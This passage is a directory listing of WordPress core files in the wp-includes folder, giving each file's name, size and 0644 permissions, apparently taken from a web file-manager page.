class-wp-simplepie-file.php File 3.33 KB 0644
class-wp-simplepie-sanitize-kses.php File 1.79 KB 0644
class-wp-site-query.php File 30.88 KB 0644
class-wp-site.php File 7.28 KB 0644
class-wp-styles.php File 10.75 KB 0644
class-wp-tax-query.php File 19.1 KB 0644
class-wp-taxonomy.php File 18.13 KB 0644
class-wp-term-query.php File 39.91 KB 0644
class-wp-term.php File 5.17 KB 0644
class-wp-text-diff-renderer-inline.php File 979 B 0644
class-wp-text-diff-renderer-table.php File 18.37 KB 0644
class-wp-textdomain-registry.php File 10.24 KB 0644
class-wp-theme-json-data.php File 1.77 KB 0644
class-wp-theme-json-resolver.php File 34.97 KB 0644
class-wp-theme-json-schema.php File 7.19 KB 0644
class-wp-theme-json.php File 157.01 KB 0644
class-wp-theme.php File 63.88 KB 0644
class-wp-token-map.php File 27.95 KB 0644
class-wp-user-meta-session-tokens.php File 2.92 KB 0644
class-wp-user-query.php File 42.63 KB 0644
class-wp-user-request.php File 2.17 KB 0644
class-wp-user.php File 22.29 KB 0644
class-wp-walker.php File 13.01 KB 0644
class-wp-widget-factory.php File 3.27 KB 0644
class-wp-widget.php File 17.99 KB 0644
class-wp-xmlrpc-server.php File 209.91 KB 0644
class-wp.php File 25.51 KB 0644
class-wpdb.php File 115.61 KB 0644
class.wp-dependencies.php File 373 B 0644
class.wp-scripts.php File 343 B 0644
class.wp-styles.php File 338 B 0644
comment-template.php File 100.36 KB 0644
comment.php File 127.22 KB 0644
compat.php File 16.58 KB 0644
cron.php File 40.62 KB 0644
date.php File 400 B 0644
default-constants.php File 11.1 KB 0644
default-filters.php File 34.85 KB 0644
default-widgets.php File 2.17 KB 0644
deprecated.php File 185.67 KB 0644
embed-template.php File 338 B 0644
embed.php File 37.02 KB 0644
error-protection.php File 4.02 KB 0644
feed-atom-comments.php File 5.38 KB 0644
feed-atom.php File 2.98 KB 0644
feed-rdf.php File 2.61 KB 0644
feed-rss.php File 1.16 KB 0644
feed-rss2-comments.php File 4.04 KB 0644
feed-rss2.php File 3.71 KB 0644
feed.php File 22.86 KB 0644
fonts.php File 9.52 KB 0644
formatting.php File 327.37 KB 0644
functions.php File 276.53 KB 0644
functions.wp-scripts.php File 14.22 KB 0644
functions.wp-styles.php File 8.38 KB 0644
general-template.php File 165.52 KB 0644
global-styles-and-settings.php File 20.71 KB 0644
http.php File 24.72 KB 0644
https-detection.php File 5.53 KB 0644
https-migration.php File 4.63 KB 0644
kses.php File 72.66 KB 0644
l10n.php File 66.81 KB 0644
link-template.php File 154.01 KB 0644
load.php File 54.35 KB 0644
locale.php File 162 B 0644
media-template.php File 61.57 KB 0644
media.php File 213.3 KB 0644
meta.php File 62.9 KB 0644
ms-blogs.php File 25.17 KB 0644
ms-default-constants.php File 4.81 KB 0644
ms-default-filters.php File 6.48 KB 0644
ms-deprecated.php File 21.25 KB 0644
ms-files.php File 2.65 KB 0644
ms-functions.php File 89.11 KB 0644
ms-load.php File 19.42 KB 0644
ms-network.php File 3.69 KB 0644
ms-settings.php File 4.03 KB 0644
ms-site.php File 39.54 KB 0644
nav-menu-template.php File 25.31 KB 0644
nav-menu.php File 43.33 KB 0644
option.php File 99.37 KB 0644
pluggable-deprecated.php File 6.12 KB 0644
pluggable.php File 113.25 KB 0644
plugin.php File 34.63 KB 0644
post-formats.php File 6.94 KB 0644
post-template.php File 65.31 KB 0644
post-thumbnail-template.php File 10.57 KB 0644
post.php File 283.1 KB 0644
query.php File 36.17 KB 0644
registration-functions.php File 200 B 0644
registration.php File 200 B 0644
rest-api.php File 97.26 KB 0644
revision.php File 30.17 KB 0644
rewrite.php File 19.08 KB 0644
robots-template.php File 5.06 KB 0644
rss-functions.php File 255 B 0644
rss.php File 22.57 KB 0644
script-loader.php File 127.52 KB 0644
script-modules.php File 7.53 KB 0644
session.php File 258 B 0644
shortcodes.php File 23.49 KB 0644
sitemaps.php File 3.16 KB 0644
spl-autoload-compat.php File 441 B 0644
style-engine.php File 7.39 KB 0644
taxonomy.php File 171.33 KB 0644
template-canvas.php File 544 B 0644
template-loader.php File 2.94 KB 0644
template.php File 23.59 KB 0644
theme-i18n.json File 1.26 KB 0644
theme-previews.php File 2.77 KB 0644
theme-templates.php File 6.08 KB 0644
theme.json File 8.5 KB 0644
theme.php File 130.84 KB 0644
update.php File 35.93 KB 0644
user.php File 170.32 KB 0644
vars.php File 6.34 KB 0644
version.php File 961 B 0644
widgets.php File 69.03 KB 0644
wp-db.php File 445 B 0644
wp-diff.php File 726 B 0644